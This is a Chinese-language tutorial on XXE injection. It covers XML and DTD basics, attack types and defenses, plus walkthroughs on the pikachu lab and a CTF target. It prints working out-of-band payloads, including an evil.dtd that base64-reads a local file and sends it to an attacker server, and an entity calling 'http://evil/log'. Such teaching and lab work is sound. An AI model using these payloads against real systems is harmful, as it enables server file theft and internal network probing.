前言
本次文章主要介绍XXE漏洞的原理,利用以及防御的过程,另外还有介绍一点XML的基础知识,详情请见下文。
一、XXE简述及XML基础
XXE简述
XXE全称(XML External Entity),XML外部实体注入攻击
1、危害
XXE漏洞可能带来的危害:外界攻击者可读取商户服务器上的任意文件;执行系统命令;探测内网端口;攻击内网网站。商户可能出现资金损失的情况。
2、案例(0元也能买买买,微信支付的SDK曝出重大漏洞(XXE漏洞))
XML基础
xml简介
a) xml,eXtensible Markup Language,可扩展标记语言,是一种标记语言,使用简单标记描述数据
b) xml是一种非常灵活的语言,没有固定的标签,所有标签都可以自定义
c) 通常,xml被用于信息的传递和记录,因此,xml经常被用于充当配置文件
如果把HTML和XML进行对比的话,HTML进行对比的话,HTML旨在显示数据信息,而XML旨在用来进行数据的传输和存储。
文档格式
a) XML文档结构包括
1、XML声明
2、DTD-文档类型定义(可选)
3、文档元素。
xml的作用——程序之间的数据传输通讯
xml树结构
a)XML文档形成了一种树结构,它从“根部”开始,然后扩展到“枝叶”
b)父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞。
c)所有的元素都可以由文本内容和属性(类似HTML中)。
xml其它
a)XML文件后缀名 *.xml
b)XML编辑器:记事本、eclipse、notepad、…
c)判断XML文件是否写入正确。
d)IE5以上的浏览器内置了XML解析工具:Microsoft.XMLDOM
XML文件样例
xml语法
1、格式良好的xml
a)声明信息,用于描述xml的版本和编码方式
<?xml version="1.0" encoding="UTF-8"?>
b)xml有且只有一个根元素
c)成对标签(即标签必须关闭,html可以不关闭也能运行)
d)区分大小写
e)不可交叉编写
f)xml注释(和html一样)
<!--这是一个注释符-->
g)XML空格
1、HTML会把多个连续的空格字符裁剪(合并)为一个。
2、在XML中,文档中的空格不会被删减。
h)特殊字符使用实体
特殊字符在标签里面会被xml解析器解析。使用xml预定义的实体代替、引用。xml预定义实体有5个。
实体必须以符号“&”开头,以“;”结尾。
< | < | less than |
---|---|---|
> | > | greater than |
& | & | ampersand |
' | ’ | apostrophe |
" | " | quotation mark |
注释:在XML中,只有字符“<”和“&”缺少是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。
i)xml元素命名规则
- 名称可以包含字母、数字以及其它的字符
- 名称不能以数字或者表单符号开始
- 名称不能以字母xml(或者XML、Xml等等)开始
- 名称不能包括空格
- 可使用任何名称,没有保留的字词。
j)xml属性规则
- 属性不能包含多个值(元素可以)
- 属性不能包含树结构(元素可以)
- 属性不容易扩展(为未来的变化)
- 属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提高与数据无关的信息。
<!--错误示范-->
<note day="10" mouth="01" year="2008" to="Tove" from="Jani" heading="Reminder"
body="Don't forget me this weekend!">
</note>
k)属性要用引号
- xml元素属性类似于html标签的属性,如img标签的src属性。
- xml属性必须要引号包裹
- 如果是单引号包裹,也会被解析为双引号。
2、编写第一段XML代码
使用XML描述下表中学生成绩信息,XML文件为scores.xml
<?xml version="1.0" encoding="UTF-8"?>
<scores>
<student id="1">
<name>张三</name>
<course>xml</course>
<score>90</score>
</student>
<student id="2">
<name>李四</name>
<course>html</course>
<score>80</score>
</student>
<student id="3">
<name>王五</name>
<course>js</course>
<score>80</score>
</student>
</scores>
运行效果
DTD介绍
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD可以在XML文档内声明,也可以外部引用
DTD声明
内部文档声明(即DTD在XML源文件中)
<!--语法-->
<!DOCTYPE 根元素名称[声明元素的位置]>
<!--举例-->
<?xml version="1.0"?>
<!DOCTYPE note[<!--!DOCTYPE note (第二行)定义此文档是 note 类型的文档。-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素“to、from、heading、body”-->
<!ELEMENT to (#PCDATA)><!--定义to元素为“#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为“PCDATA”类型-->
<!ELEMENT heading (#PCDATA)><!--定义 heading 元素为 "#PCDATA" 类型-->
<!ELEMENT body (#PCDATA)><!--定义 body 元素为 "#PCDATA" 类型-->
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
外部文档声明(DTD位于XML源文件的外部)
语法一:
<!DOCTYPE root-element SYSTEM "filename">
外部声明(引用外部DTD):<!DOCYYPE 根元素名称 SYSTEM "文件名">
注意到SYSTEM标识符没?
该标识符意味着该视图将从外部来获取内容
XML文档构建模块
所有的XML文档(以及HTML文档)均由以下简单的构建模块构成:
1)元素,主要构建模块,元素可包含文本、其它元素或是空的。
2)属性,元素的额外信息
3)实体,用来定义普通文本的变量,还可对实体引用。
4)PCDATA,被解析的字符数据,被解析器检查实体并标记
5)CDATA,字符数据,不会被解析的文本。
Elements(元素)
1、元素声明语法:
<!ELEMENT 元素名(子元素,子元素,...)>
<!ELEMENT 元素名 CONTENT>
CONTENT是元素类型,必须要大写!CONTENT的内容有三种写法:
(1)EMPTY——表示该元素不能包含子元素和文本,但可以有属性。
(2)ANY——表示该元素可以包含任何在该DTD中定义的元素内容
(3)#PCDATA——可以包含任何字符数据,但是不能在其中包含任何子元素
2、元素是XML以及HTML文档的主要构建模块。
a)HTML元素的例子是“body”和“table”(html已经规定好的)。
b)XML元素的例子是“note”和“message”(自定义的)。
c)元素可安博会文本、其它元素或者空,空的HTML元素的例子是“hr”、“br”以及“img”
数量词的用法
<!DOCTYPE 家庭 [
<!ELEMENT 家庭 (人+,家电?)>
]>
<家庭>
<人 名字=“张晓明“></人>
<人 名字="李小钢" ></人>
<家电 名称="彩电" ></家电>
</家庭>
Attributes(属性)
属性声明语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
类型
CDATA——值为字符数据(character data)
(en1|en2|…)——此值是枚举列表中的一个值
ID——值为唯一的id
默认值:
#REQUIRED 属性值必需的
#IMPLIED 属性不是必需的
#FIXED value 属性值是固定的
PCDATA(被解析的字符数据)
PCDATA的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何&、<或>字符;需要使用&
;、<
以及>
实体来分别替换它们。
这里需要注意的是,#PCDATA是ELEMENT定义的一种数据格式,和PCDATA有着本质的区别。
CDATA(字符数据)
CDATA(character data)指的是不应由XML解析器进行解析的文本数据(Unparsed Character Data)。
在XML元素中,“<”(新元素的开始)和”&“(字符实体的开始)是非法的。
某些文本,比如JavaScript代码,包含大量”<“和”&“字符。为了避免错误,可以将脚本代码定义为CDATA。
CDATA部分中所有内容都会被解析器忽略。CDATA部分由”<!CDATA[“ 开始,由”]]>“结束
这里需要注意的是,这里的CDATA是说的元素里面的数据,而前面属性中的属性类型CDATA有着本质区别
任务
<?xml version="1.0" encoding="UTF-8" ?>
<NEWSPAPER>
<ARTICLE AUTHOR="1" EDITOR="2">
<HEADLINE></HEADLINE>
<BYLINE></BYLINE>
<LEAD></LEAD>
<BODY></BODY>
<NOTES></NOTES>
</ARTICLE>
<ARTICLE AUTHOR="1" EDITOR="2">
<HEADLINE></HEADLINE>
<BYLINE></BYLINE>
<LEAD></LEAD>
<BODY></BODY>
<NOTES></NOTES>
</ARTICLE>
</NEWSPAPER>
Entities(实体)
什么是实体?
实体是对数据的引用:根据实体种类的不同,XML解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。理解为一种变量,或者说实体为一个包括,数据为包裹里面的物品,当我们引用这个包时,就是拿了里面的数据。
<!--举例-->
a=123
<!ENTITY 名称 "值">
引用方式:&a;
实体注意分为一个四类
- 字符实体
- 普通实体
- 参数实体
- 内部实体
(1)字符实体
指用十进制格式(&#aaa;
)或十六进制格式(પ
)来指定任意 Unicode 字符。
对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
参考资料:http://www.jsons.cn/unicode
(2)普通实体和参数实体
普通实体内部引用:
语法:<!ENTITY 名称 “值”>
引用方法:&实体名;
<?xml verion="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe "123">
]>
<value>&xxe;</value>
普通实体外部引用:
语法:<!ENTITY 名称 SYSTEM "URI">
引用方法:&实体名;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "http://192.168.237.136/1.txt">
]>
<value>&xxe;</value>
<!--外部实体声明:-->
<!ENTITY 实体名称 SYSTEM "URI/URL">
file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php
(3)参数实体
定义:
1、参数实体只用于DTD中
2、参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。
3、参数实体在DTD中解析优先级高于xml内部实体
语法:
参数实体内容引用:只用于DTD和文档的内部子集中,使用百分号(%)+实体名称进行声明和引用
<!ENTITY % 实体名称 “实体的值”>
参数实体外部引用
<!ENTITY % 实体名称 SYSTEM "URI">
引用方法:%实体名;
<!--实例一-->
<!DOCTYPE a[
<!ENTITY % name SYSTEM "file:///c:/1.txt">
%name;
]>
<root></root>
<!--实例二-->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % param1 "<!ENTITY internal '123'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
参数实体特性,这几个特性也决定了它能被利用的程度:
- 只能在DTD内部
- 立即引用
- 实体嵌套
(4)内部实体
定义
内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
关于实体嵌套的情况,DTD中支持单双引号,所有可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成%;
语法
<!ENTITY % 实体名 ‘<!ENTITY %实体名 SYSTEM "URI">’>
<!--实例-->
<!ENTITY % param1 '<!ENTITY %xxe SYSTEM "http://evil/log?%payload;">'>
%param1;
注意:
%
也可以写成16进制%
总结
DTD实体是用于定义引用普通文本或特殊字符的快捷键方式的变量,可分为内部实体和外部实体。
- 内部实体:<!ENTITY 实体名 实体的值>
- 外部实体:<!ENTITY 实体名 SYSTEM url>
二、XXE漏洞原理
XXE 全XML External Entity,XML外部实体注入攻击。
攻击者通过构造恶意的外部实体,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
一个包含外部实体的xml样本
在解析XML文档的过程中,关键字’SYSTEM’会告诉XML解析器,entityex 实体的值将从其后的URI中读取。实体entityex的值会被替换为URI(file://etc/passwd)内容值。
因此,攻击者可以哦通过实体将它自定义的值发送给应用程序,然后让引用程序去呈现。
简单来说,攻击者强制XML解析器去访问攻击者指定的本地系统上或者是远程系统上的资源内容。
XXE的危害
1、导致可加载恶意外部文件,读取任意未授权文件;
2、恶意消耗内存进行dos攻击
3、探测内网信息(如检测服务、内网端口扫描、攻击内网网站等)
4、命令执行,目录遍历等
5、有些XML解析库支持列目录,攻击者通过列目录、读文件,获取账号密码后进一步攻击,如取tomcat-users.xml得到账号密码后登录tomcat的manager部署webshell
XXE如何寻找
1、POST请求
2、MIME文件传输格式为XML
3、请求头Content-type:application/xml text/xml application/json
4、带有非常明显的xml标签的,即自定义的标签
ps:可以修改器Content-Type为application/xml,并尝试进行XXE注入
XXE限制条件
1、网站是否开启了外部实体解析
因素一:
libxml<2.9.0 版本 默认开启了外部实体解析
因素二:
网站管理员开启了外部实体解析
2、低版本php、libxml<2.9.1、设置了libxml_disable_entity_loader(禁用加载外部实体的能力)为FALSE
三、XXE漏洞分类与利用
XXE的攻击方式分为显式攻击和盲攻击两种:
- 显示攻击是攻击者能通过正常的回显将外部实体里的内容读取出来。
- 盲攻击即不可见的回显,可利用参数实体将本地文件你让读出来,作为URL中的参数向其指定服务器发起请求,然后在指定服务器的日志中读出文件的内容。
现实中存在的大多数XXE漏洞都是blind,必须采用带外通道OOB(Out-of-band)进行返回信息的记录,这里简单来说就是攻击者必须有一台具有公网ip的主机。
XML利用
1.读取任意文件
有回显
XML.php
访问XML.php可以读取etc/passwd文件
当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。
远程服务器的evil.dtd文件内容
2.命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。
3.内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发送http请求。可以利用请求去探查内网,进行SSRF攻击。
DTD不同类型的攻击列表
攻击分类如下:
1、拒绝服务攻击(DDoS)
2、基本的XXE攻击
3、高级的XXE攻击(一)
4、高级的XXE攻击(二)
5、XML包含机制(XInclude)
6、扩展样式表转换语言(XSLT)
1、拒绝服务攻击(DDoS)
支持实体测试:
如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种DDoS攻击。
Billion Laughs 攻击(Klein,2002)
注释:”Billion Laughs“攻击——通过创建一项递归的XML定义,在内存中生成十亿个”Ha!“字符串,从而导致DDoS攻击,原理为:构造恶意的XML实体文件好鸡可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
这个文件只有30kb大小但却有11111个实体引用,超出了合法的实体引用数量上限。
Billion Laughs 攻击——参数实体(Spath,2015)
XML二次暴破 DDoS攻击
一般实体递归
最好不要使用递归——[WFC:No Recursion]
外部一般实体(Steuck,2002)
这种攻击方式是通过声明一个外部一般实体,然后引用唯一网上或本地的一个大文件(例如:C:/pagefile.sys或/dev/random)。然而,这种攻击只是让解析器解析一个巨大的XML文件而已。
2、基本的XXE攻击
基本的XXE攻击(Steuck,2002)
我们以文件"/sys/power/image_size"为例,因为它非常短小只有一行且不包含特殊字符。
这种攻击需要一个直接的反馈并且读取文件受到XML中禁止字符的限制,如"<“和”&"。
如果这些被禁止的字符出现要访问的文件中(如:/etc/fstab),则XML解析器会抛出一个错误并停止解析。
使用netdoc的XXE攻击
3、高级的 XXE 攻击 — 外带数据(OOB)通道
没有可用直接回传的通道不意味着就不存在XXE攻击。
XXE OOB攻击(Yunusov,2013)
XXE OOB 攻击——参数实体(Yunusov,2013)
和前面的攻击很像,区别仅在于只使用参数实体。
XXE OOB 攻击——参数实体FTP(Novikov,2014)
使用FTP协议,攻击者可用读取到任意长度的文件
这种攻击需要配置FTP服务器。不过,这个POCdiamond只需要稍作调整即可用于任意的解析器上。
4、高级的XXE攻击(二)(了解)
5、XML包含机制(XInclude)
6、扩展样式表转换语言(XSLT)
四、XXE漏洞练习
XXE的利用场景一:pikachu
1、pikachu靶场提交payload
2、抓包发现提交的payload是经过url编码后的数据,这里跟content-type的类型有关系
3、返回的结果
4、尝试使用没有url编码的数据发送给服务器,不能识别
思考???
1、这里能不能试盲注?
虽然pikachu的xxe根据我们做的练习是有回显的xxe,但是我们想用pikachu再试一下xxe盲注,也就是没有回显的情况下的xxe利用,可以吗?
pikachu注释掉回显代码,构造无回显的环境
现在我们输入的xml代码无法在页面回显
该怎么做了呢?
5、查看源码,开启了外部实体解析,并且返回了数据,即是有回显的XXE
6、修改源码,关闭回显。再次提交payload验证是否有回显
7、利用dnslog判断是否存在xxe漏洞,修改payload
8、确认存在xxe漏洞
9、针对于这种没有回显的就需要VPS,这里使用kali模拟,使用python快速开启http服务
10、创建evil.dtd文件,并尝试访问
xxe.dtd读取mysql中的my.ini文件,如下:
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64- encode/resource=file:///F:/xxe.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM
'http://192.168.31.229?c=%file;'>">
注意:当内置参数实体中嵌套外部参数实体时,要将%进行实体化(
%
或者%
)
11、pikachu中使用payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.31.229/evil.dtd">
%remote;%int;%send;
]>
12、成功读取数据
XXE的利用场景二:CTF
靶场环境:http://web.jarvisoj.com:9882/
1、访问界面
2、提交数据观察数据包内容(POST包,请求格式:application/json)
3、更改请求包的类型,content-type:application/xml 仍然能返回数据
4、尝试使用内部实体参数的XXE payload测试,返回成功数据
XXE的利用
发现XML实体攻击漏洞的另外一种方法?
在正常情况下甄别接受XML作为输入内容的端点使我们发现XML漏洞。但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。例如wsdl(web 服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。
扩展:XXE工具-XXE injector
1、在github下载工具,这里使用kali安装,需要ruby环境
wget https://github.com/enjoiz/XXEinjector.git
2、解压安装包
–host 必填项– 用于建立反向链接的IP地址。(–host=192.168.0.2)
–file 必填项- 包含有效HTTP请求的XML文件。(–file=/tmp/req.txt)
–path 必填项-是否需要枚举目录 – 枚举路径。(–path=/etc)
–brute 必填项-是否需要爆破文件 -爆破文件的路径。(–brute=/tmp/brute.txt)
五、XXE漏洞防御
1、升级版本,libxml2.9.1及以后,默认不解析外部实体
2、使用开放语言提高的禁用外部实体的方法
PHP
JAVA
PYTHON
3、过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
总结
以上就是今天要讲的内容,本文仅仅简单介绍XML的基础,以及XXE漏洞的靶场复现,还有该漏洞的危害程度,发现过程等。
祝愿读文章的你有个美好的未来!!!